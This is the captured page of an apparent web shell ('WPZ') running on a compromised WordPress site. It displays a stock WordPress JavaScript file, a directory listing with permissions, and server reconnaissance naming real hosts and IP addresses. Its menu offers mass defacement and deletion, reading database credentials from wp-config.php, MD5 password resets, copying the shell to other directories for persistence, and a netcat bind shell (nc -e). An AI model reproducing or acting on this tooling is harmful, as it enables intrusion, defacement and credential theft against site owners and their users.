WPZ

/ web / 1 / 000 / 076 / 129 / 313906 / htdocs / allgaeuhuepfer / wp-includes / js / [dxwrx-rx-r]
berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/allgaeuhuepfer/wp-includes/js/wp-custom-header.js (10.22 KB)
/**
 * @output wp-includes/js/wp-custom-header.js
 */

/* global YT */
(function( window, settings ) {

	var NativeHandler, YouTubeHandler;

	/** @namespace wp */
	window.wp = window.wp || {};

	// Fail gracefully in unsupported browsers.
	if ( ! ( 'addEventListener' in window ) ) {
		return;
	}

	/**
	 * Trigger an event.
	 *
	 * @param {Element} target HTML element to dispatch the event on.
	 * @param {string} name Event name.
	 */
	function trigger( target, name ) {
		var evt;

		if ( 'function' === typeof window.Event ) {
			evt = new Event( name );
		} else {
			evt = document.createEvent( 'Event' );
			evt.initEvent( name, true, true );
		}

		target.dispatchEvent( evt );
	}

	/**
	 * Create a custom header instance.
	 *
	 * @memberOf wp
	 *
	 * @class
	 */
	function CustomHeader() {
		this.handlers = {
			nativeVideo: new NativeHandler(),
			youtube: new YouTubeHandler()
		};
	}

	CustomHeader.prototype = {
		/**
		 * Initialize the custom header.
		 *
		 * If the environment supports video, loops through registered handlers
		 * until one is found that can handle the video.
		 */
		initialize: function() {
			if ( this.supportsVideo() ) {
				for ( var id in this.handlers ) {
					var handler = this.handlers[ id ];

					if ( 'test' in handler && handler.test( settings ) ) {
						this.activeHandler = handler.initialize.call( handler, settings );

						// Dispatch custom event when the video is loaded.
						trigger( document, 'wp-custom-header-video-loaded' );
						break;
					}
				}
			}
		},

		/**
		 * Determines if the current environment supports video.
		 *
		 * Themes and plugins can override this method to change the criteria.
		 *
		 * @return {boolean}
		 */
		supportsVideo: function() {
			// Don't load video on small screens. @todo Consider bandwidth and other factors.
			if ( window.innerWidth < settings.minWidth || window.innerHeight < settings.minHeight ) {
				return false;
			}

			return true;
		},

		/**
		 * Base handler for custom handlers to extend.
		 *
		 * @type {BaseHandler}
		 */
		BaseVideoHandler: BaseHandler
	};

	/**
	 * Create a video handler instance.
	 *
	 * @memberOf wp
	 *
	 * @class
	 */
	function BaseHandler() {}

	BaseHandler.prototype = {
		/**
		 * Initialize the video handler.
		 *
		 * @param {Object} settings Video settings.
		 */
		initialize: function( settings ) {
			var handler = this,
				button = document.createElement( 'button' );

			this.settings = settings;
			this.container = document.getElementById( 'wp-custom-header' );
			this.button = button;

			button.setAttribute( 'type', 'button' );
			button.setAttribute( 'id', 'wp-custom-header-video-button' );
			button.setAttribute( 'class', 'wp-custom-header-video-button wp-custom-header-video-play' );
			button.innerHTML = settings.l10n.play;

			// Toggle video playback when the button is clicked.
			button.addEventListener( 'click', function() {
				if ( handler.isPaused() ) {
					handler.play();
				} else {
					handler.pause();
				}
			});

			// Update the button class and text when the video state changes.
			this.container.addEventListener( 'play', function() {
				button.className = 'wp-custom-header-video-button wp-custom-header-video-play';
				button.innerHTML = settings.l10n.pause;
				if ( 'a11y' in window.wp ) {
					window.wp.a11y.speak( settings.l10n.playSpeak);
				}
			});

			this.container.addEventListener( 'pause', function() {
				button.className = 'wp-custom-header-video-button wp-custom-header-video-pause';
				button.innerHTML = settings.l10n.play;
				if ( 'a11y' in window.wp ) {
					window.wp.a11y.speak( settings.l10n.pauseSpeak);
				}
			});

			this.ready();
		},

		/**
		 * Ready method called after a handler is initialized.
		 *
		 * @abstract
		 */
		ready: function() {},

		/**
		 * Whether the video is paused.
		 *
		 * @abstract
		 * @return {boolean}
		 */
		isPaused: function() {},

		/**
		 * Pause the video.
		 *
		 * @abstract
		 */
		pause: function() {},

		/**
		 * Play the video.
		 *
		 * @abstract
		 */
		play: function() {},

		/**
		 * Append a video node to the header container.
		 *
		 * @param {Element} node HTML element.
		 */
		setVideo: function( node ) {
			var editShortcutNode,
				editShortcut = this.container.getElementsByClassName( 'customize-partial-edit-shortcut' );

			if ( editShortcut.length ) {
				editShortcutNode = this.container.removeChild( editShortcut[0] );
			}

			this.container.innerHTML = '';
			this.container.appendChild( node );

			if ( editShortcutNode ) {
				this.container.appendChild( editShortcutNode );
			}
		},

		/**
		 * Show the video controls.
		 *
		 * Appends a play/pause button to header container.
		 */
		showControls: function() {
			if ( ! this.container.contains( this.button ) ) {
				this.container.appendChild( this.button );
			}
		},

		/**
		 * Whether the handler can process a video.
		 *
		 * @abstract
		 * @param {Object} settings Video settings.
		 * @return {boolean}
		 */
		test: function() {
			return false;
		},

		/**
		 * Trigger an event on the header container.
		 *
		 * @param {string} name Event name.
		 */
		trigger: function( name ) {
			trigger( this.container, name );
		}
	};

	/**
	 * Create a custom handler.
	 *
	 * @memberOf wp
	 *
	 * @param {Object} protoProps Properties to apply to the prototype.
	 * @return CustomHandler The subclass.
	 */
	BaseHandler.extend = function( protoProps ) {
		var prop;

		function CustomHandler() {
			var result = BaseHandler.apply( this, arguments );
			return result;
		}

		CustomHandler.prototype = Object.create( BaseHandler.prototype );
		CustomHandler.prototype.constructor = CustomHandler;

		for ( prop in protoProps ) {
			CustomHandler.prototype[ prop ] = protoProps[ prop ];
		}

		return CustomHandler;
	};

	/**
	 * Native video handler.
	 *
	 * @memberOf wp
	 *
	 * @class
	 */
	NativeHandler = BaseHandler.extend(/** @lends wp.NativeHandler.prototype */{
		/**
		 * Whether the native handler supports a video.
		 *
		 * @param {Object} settings Video settings.
		 * @return {boolean}
		 */
		test: function( settings ) {
			var video = document.createElement( 'video' );
			return video.canPlayType( settings.mimeType );
		},

		/**
		 * Set up a native video element.
		 */
		ready: function() {
			var handler = this,
				video = document.createElement( 'video' );

			video.id = 'wp-custom-header-video';
			video.autoplay = true;
			video.loop = true;
			video.muted = true;
			video.playsInline = true;
			video.width = this.settings.width;
			video.height = this.settings.height;

			video.addEventListener( 'play', function() {
				handler.trigger( 'play' );
			});

			video.addEventListener( 'pause', function() {
				handler.trigger( 'pause' );
			});

			video.addEventListener( 'canplay', function() {
				handler.showControls();
			});

			this.video = video;
			handler.setVideo( video );
			video.src = this.settings.videoUrl;
		},

		/**
		 * Whether the video is paused.
		 *
		 * @return {boolean}
		 */
		isPaused: function() {
			return this.video.paused;
		},

		/**
		 * Pause the video.
		 */
		pause: function() {
			this.video.pause();
		},

		/**
		 * Play the video.
		 */
		play: function() {
			this.video.play();
		}
	});

	/**
	 * YouTube video handler.
	 *
	 * @memberOf wp
	 *
	 * @class wp.YouTubeHandler
	 */
	YouTubeHandler = BaseHandler.extend(/** @lends wp.YouTubeHandler.prototype */{
		/**
		 * Whether the handler supports a video.
		 *
		 * @param {Object} settings Video settings.
		 * @return {boolean}
		 */
		test: function( settings ) {
			return 'video/x-youtube' === settings.mimeType;
		},

		/**
		 * Set up a YouTube iframe.
		 *
		 * Loads the YouTube IFrame API if the 'YT' global doesn't exist.
		 */
		ready: function() {
			var handler = this;

			if ( 'YT' in window ) {
				YT.ready( handler.loadVideo.bind( handler ) );
			} else {
				var tag = document.createElement( 'script' );
				tag.src = 'https://www.youtube.com/iframe_api';
				tag.onload = function () {
					YT.ready( handler.loadVideo.bind( handler ) );
				};

				document.getElementsByTagName( 'head' )[0].appendChild( tag );
			}
		},

		/**
		 * Load a YouTube video.
		 */
		loadVideo: function() {
			var handler = this,
				video = document.createElement( 'div' ),
				// @link http://stackoverflow.com/a/27728417
				VIDEO_ID_REGEX = /^.*(?:(?:youtu\.be\/|v\/|vi\/|u\/\w\/|embed\/)|(?:(?:watch)?\?v(?:i)?=|\&v(?:i)?=))([^#\&\?]*).*/;

			video.id = 'wp-custom-header-video';
			handler.setVideo( video );

			handler.player = new YT.Player( video, {
				height: this.settings.height,
				width: this.settings.width,
				videoId: this.settings.videoUrl.match( VIDEO_ID_REGEX )[1],
				events: {
					onReady: function( e ) {
						e.target.mute();
						handler.showControls();
					},
					onStateChange: function( e ) {
						if ( YT.PlayerState.PLAYING === e.data ) {
							handler.trigger( 'play' );
						} else if ( YT.PlayerState.PAUSED === e.data ) {
							handler.trigger( 'pause' );
						} else if ( YT.PlayerState.ENDED === e.data ) {
							e.target.playVideo();
						}
					}
				},
				playerVars: {
					autoplay: 1,
					controls: 0,
					disablekb: 1,
					fs: 0,
					iv_load_policy: 3,
					loop: 1,
					modestbranding: 1,
					playsinline: 1,
					rel: 0,
					showinfo: 0
				}
			});
		},

		/**
		 * Whether the video is paused.
		 *
		 * @return {boolean}
		 */
		isPaused: function() {
			return YT.PlayerState.PAUSED === this.player.getPlayerState();
		},

		/**
		 * Pause the video.
		 */
		pause: function() {
			this.player.pauseVideo();
		},

		/**
		 * Play the video.
		 */
		play: function() {
			this.player.playVideo();
		}
	});

	// Initialize the custom header when the DOM is ready.
	window.wp.customHeader = new CustomHeader();
	document.addEventListener( 'DOMContentLoaded', window.wp.customHeader.initialize.bind( window.wp.customHeader ), false );

	// Selective refresh support in the Customizer.
	if ( 'customize' in window.wp ) {
		window.wp.customize.selectiveRefresh.bind( 'render-partials-response', function( response ) {
			if ( 'custom_header_settings' in response ) {
				settings = response.custom_header_settings;
			}
		});

		window.wp.customize.selectiveRefresh.bind( 'partial-content-rendered', function( placement ) {
			if ( 'custom_header' === placement.partial.id ) {
				window.wp.customHeader.initialize();
			}
		});
	}

})( window, window._wpCustomHeaderSettings || {} );
namawaktuukuranownerpermaksi
..
codemirror/ 2026-02-23 19:411.23 MB 76129f60960:kundendxwrx-rx-r
crop/ 2026-02-23 19:4119.54 KB 76129f60960:kundendxwrx-rx-r
dist/ 2026-02-23 19:4121.58 MB 76129f60960:kundendxwrx-rx-r
imgareaselect/ 2026-02-23 19:4148.39 KB 76129f60960:kundendxwrx-rx-r
jcrop/ 2026-02-23 19:4124.39 KB 76129f60960:kundendxwrx-rx-r
jquery/ 2026-02-23 19:411.24 MB 76129f60960:kundendxwrx-rx-r
mediaelement/ 2026-02-23 19:41704.4 KB 76129f60960:kundendxwrx-rx-r
plupload/ 2026-02-23 19:41479.45 KB 76129f60960:kundendxwrx-rx-r
swfupload/ 2026-02-23 19:410 B 76129f60960:kundendxwrx-rx-r
thickbox/ 2026-02-23 19:4130.6 KB 76129f60960:kundendxwrx-rx-r
tinymce/ 2026-02-23 19:412.72 MB 76129f60960:kundendxwrx-rx-r
admin-bar.js 2026-02-23 19:4110.3 KB 76129f60960:kunden-xw-x-----
edt
admin-bar.min.js 2026-02-23 19:413.41 KB 76129f60960:kunden-xw-x-----
edt
api-request.js 2026-02-23 19:413.25 KB 76129f60960:kunden-xw-x-----
edt
api-request.min.js 2026-02-23 19:411023 B 76129f60960:kunden-xw-x-----
edt
autosave.js 2026-02-23 19:4121.95 KB 76129f60960:kunden-xw-x-----
edt
autosave.min.js 2026-02-23 19:415.67 KB 76129f60960:kunden-xw-x-----
edt
backbone.js 2026-02-23 19:4178.51 KB 76129f60960:kunden-xw-x-----
edt
backbone.min.js 2026-02-23 19:4123.73 KB 76129f60960:kunden-xw-x-----
edt
clipboard.js 2026-02-23 19:4126.18 KB 76129f60960:kunden-xw-x-----
edt
clipboard.min.js 2026-02-23 19:418.8 KB 76129f60960:kunden-xw-x-----
edt
colorpicker.js 2026-02-23 19:4128.4 KB 76129f60960:kunden-xw-x-----
edt
colorpicker.min.js 2026-02-23 19:4116.11 KB 76129f60960:kunden-xw-x-----
edt
comment-reply.js 2026-02-23 19:4112.22 KB 76129f60960:kunden-xw-x-----
edt
comment-reply.min.js 2026-02-23 19:412.96 KB 76129f60960:kunden-xw-x-----
edt
customize-base.js 2026-02-23 19:4125.22 KB 76129f60960:kunden-xw-x-----
edt
customize-base.min.js 2026-02-23 19:417.67 KB 76129f60960:kunden-xw-x-----
edt
customize-loader.js 2026-02-23 19:417.72 KB 76129f60960:kunden-xw-x-----
edt
customize-loader.min.js 2026-02-23 19:413.47 KB 76129f60960:kunden-xw-x-----
edt
customize-models.js 2026-02-23 19:416.66 KB 76129f60960:kunden-xw-x-----
edt
customize-models.min.js 2026-02-23 19:413.59 KB 76129f60960:kunden-xw-x-----
edt
customize-preview-nav-menus.js 2026-02-23 19:4114.67 KB 76129f60960:kunden-xw-x-----
edt
customize-preview-nav-menus.min.js 2026-02-23 19:414.92 KB 76129f60960:kunden-xw-x-----
edt
customize-preview-widgets.js 2026-02-23 19:4122.71 KB 76129f60960:kunden-xw-x-----
edt
customize-preview-widgets.min.js 2026-02-23 19:417.64 KB 76129f60960:kunden-xw-x-----
edt
customize-preview.js 2026-02-23 19:4127.93 KB 76129f60960:kunden-xw-x-----
edt
customize-preview.min.js 2026-02-23 19:4110.75 KB 76129f60960:kunden-xw-x-----
edt
customize-selective-refresh.js 2026-02-23 19:4132.55 KB 76129f60960:kunden-xw-x-----
edt
customize-selective-refresh.min.js 2026-02-23 19:4110.44 KB 76129f60960:kunden-xw-x-----
edt
customize-views.js 2026-02-23 19:415.1 KB 76129f60960:kunden-xw-x-----
edt
customize-views.min.js 2026-02-23 19:412.51 KB 76129f60960:kunden-xw-x-----
edt
heartbeat.js 2026-02-23 19:4123.49 KB 76129f60960:kunden-xw-x-----
edt
heartbeat.min.js 2026-02-23 19:415.81 KB 76129f60960:kunden-xw-x-----
edt
hoverIntent.js 2026-02-23 19:417.06 KB 76129f60960:kunden-xw-x-----
edt
hoverIntent.min.js 2026-02-23 19:411.46 KB 76129f60960:kunden-xw-x-----
edt
hoverintent-js.min.js 2026-02-23 19:411.68 KB 76129f60960:kunden-xw-x-----
edt
imagesloaded.min.js 2026-02-23 19:415.39 KB 76129f60960:kunden-xw-x-----
edt
json2.js 2026-02-23 19:4131 B 76129f60960:kunden-xw-x-----
edt
json2.min.js 2026-02-23 19:4135 B 76129f60960:kunden-xw-x-----
edt
masonry.min.js 2026-02-23 19:4123.57 KB 76129f60960:kunden-xw-x-----
edt
mce-view.js 2026-02-23 19:4125.24 KB 76129f60960:kunden-xw-x-----
edt
mce-view.min.js 2026-02-23 19:419.54 KB 76129f60960:kunden-xw-x-----
edt
media-audiovideo.js 2026-02-23 19:4124.24 KB 76129f60960:kunden-xw-x-----
edt
media-audiovideo.min.js 2026-02-23 19:4111.77 KB 76129f60960:kunden-xw-x-----
edt
media-editor.js 2026-02-23 19:4128.44 KB 76129f60960:kunden-xw-x-----
edt
media-editor.min.js 2026-02-23 19:4110.63 KB 76129f60960:kunden-xw-x-----
edt
media-grid.js 2026-02-23 19:4126.15 KB 76129f60960:kunden-xw-x-----
edt
media-grid.min.js 2026-02-23 19:4112.98 KB 76129f60960:kunden-xw-x-----
edt
media-models.js 2026-02-23 19:4142.58 KB 76129f60960:kunden-xw-x-----
edt
media-models.min.js 2026-02-23 19:4112.97 KB 76129f60960:kunden-xw-x-----
edt
media-views.js 2026-02-23 19:41266.99 KB 76129f60960:kunden-xw-x-----
edt
media-views.min.js 2026-02-23 19:41108.18 KB 76129f60960:kunden-xw-x-----
edt
quicktags.js 2026-02-23 19:4122.07 KB 76129f60960:kunden-xw-x-----
edt
quicktags.min.js 2026-02-23 19:4110.87 KB 76129f60960:kunden-xw-x-----
edt
shortcode.js 2026-02-23 19:4110.51 KB 76129f60960:kunden-xw-x-----
edt
shortcode.min.js 2026-02-23 19:412.58 KB 76129f60960:kunden-xw-x-----
edt
swfobject.js 2026-02-23 19:410 B 76129f60960:kunden-xw-x-----
edt
swfobject.min.js 2026-02-23 19:4135 B 76129f60960:kunden-xw-x-----
edt
tw-sack.js 2026-02-23 19:414.85 KB 76129f60960:kunden-xw-x-----
edt
tw-sack.min.js 2026-02-23 19:413.21 KB 76129f60960:kunden-xw-x-----
edt
twemoji.js 2026-02-23 19:4136.32 KB 76129f60960:kunden-xw-x-----
edt
twemoji.min.js 2026-02-23 19:4119.39 KB 76129f60960:kunden-xw-x-----
edt
underscore.js 2026-02-23 19:4167.12 KB 76129f60960:kunden-xw-x-----
edt
underscore.min.js 2026-02-23 19:4118.46 KB 76129f60960:kunden-xw-x-----
edt
utils.js 2026-02-23 19:414.56 KB 76129f60960:kunden-xw-x-----
edt
utils.min.js 2026-02-23 19:411.82 KB 76129f60960:kunden-xw-x-----
edt
wp-ajax-response.js 2026-02-23 19:413.81 KB 76129f60960:kunden-xw-x-----
edt
wp-ajax-response.min.js 2026-02-23 19:412.51 KB 76129f60960:kunden-xw-x-----
edt
wp-api.js 2026-02-23 19:4145.88 KB 76129f60960:kunden-xw-x-----
edt
wp-api.min.js 2026-02-23 19:4114.34 KB 76129f60960:kunden-xw-x-----
edt
wp-auth-check.js 2026-02-23 19:414.11 KB 76129f60960:kunden-xw-x-----
edt
wp-auth-check.min.js 2026-02-23 19:411.62 KB 76129f60960:kunden-xw-x-----
edt
wp-backbone.js 2026-02-23 19:4114.88 KB 76129f60960:kunden-xw-x-----
edt
wp-backbone.min.js 2026-02-23 19:412.97 KB 76129f60960:kunden-xw-x-----
edt
wp-custom-header.js 2026-02-23 19:4110.22 KB 76129f60960:kunden-xw-x-----
edt
wp-custom-header.min.js 2026-02-23 19:414.34 KB 76129f60960:kunden-xw-x-----
edt
wp-embed-template.js 2026-02-23 19:416.62 KB 76129f60960:kunden-xw-x-----
edt
wp-embed-template.min.js 2026-02-23 19:413.1 KB 76129f60960:kunden-xw-x-----
edt
wp-embed.js 2026-02-23 19:413.14 KB 76129f60960:kunden-xw-x-----
edt
wp-embed.min.js 2026-02-23 19:411.22 KB 76129f60960:kunden-xw-x-----
edt
wp-emoji-loader.js 2026-02-23 19:4112.89 KB 76129f60960:kunden-xw-x-----
edt
wp-emoji-loader.min.js 2026-02-23 19:412.82 KB 76129f60960:kunden-xw-x-----
edt
wp-emoji-release.min.js 2026-02-23 19:4122.23 KB 76129f60960:kunden-xw-x-----
edt
wp-emoji.js 2026-02-23 19:418.59 KB 76129f60960:kunden-xw-x-----
edt
wp-emoji.min.js 2026-02-23 19:412.79 KB 76129f60960:kunden-xw-x-----
edt
wp-list-revisions.js 2026-02-23 19:41970 B 76129f60960:kunden-xw-x-----
edt
wp-list-revisions.min.js 2026-02-23 19:41597 B 76129f60960:kunden-xw-x-----
edt
wp-lists.js 2026-02-23 19:4124.72 KB 76129f60960:kunden-xw-x-----
edt
wp-lists.min.js 2026-02-23 19:417.34 KB 76129f60960:kunden-xw-x-----
edt
wp-pointer.js 2026-02-23 19:419.99 KB 76129f60960:kunden-xw-x-----
edt
wp-pointer.min.js 2026-02-23 19:413.54 KB 76129f60960:kunden-xw-x-----
edt
wp-sanitize.js 2026-02-23 19:411.3 KB 76129f60960:kunden-xw-x-----
edt
wp-sanitize.min.js 2026-02-23 19:41444 B 76129f60960:kunden-xw-x-----
edt
wp-util.js 2026-02-23 19:414.57 KB 76129f60960:kunden-xw-x-----
edt
wp-util.min.js 2026-02-23 19:411.39 KB 76129f60960:kunden-xw-x-----
edt
wpdialog.js 2026-02-23 19:41569 B 76129f60960:kunden-xw-x-----
edt
wpdialog.min.js 2026-02-23 19:41281 B 76129f60960:kunden-xw-x-----
edt
wplink.js 2026-02-23 19:4120.74 KB 76129f60960:kunden-xw-x-----
edt
wplink.min.js 2026-02-23 19:4111.05 KB 76129f60960:kunden-xw-x-----
edt
zxcvbn-async.js 2026-02-23 19:41821 B 76129f60960:kunden-xw-x-----
edt
zxcvbn-async.min.js 2026-02-23 19:41351 B 76129f60960:kunden-xw-x-----
edt
zxcvbn.min.js 2026-02-23 19:41802.97 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/allgaeuhuepfer/wp-includes/js
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK